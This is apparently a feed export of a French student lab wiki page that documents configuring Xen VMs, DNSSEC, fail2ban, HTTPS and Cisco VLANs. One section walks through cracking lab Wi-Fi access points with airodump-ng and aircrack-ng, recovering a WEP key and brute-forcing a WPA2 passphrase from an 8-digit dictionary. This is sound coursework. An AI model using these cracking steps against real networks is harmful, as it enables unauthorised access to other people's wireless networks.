On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12203</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12203"/>
		<updated>2026-02-10T16:40:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
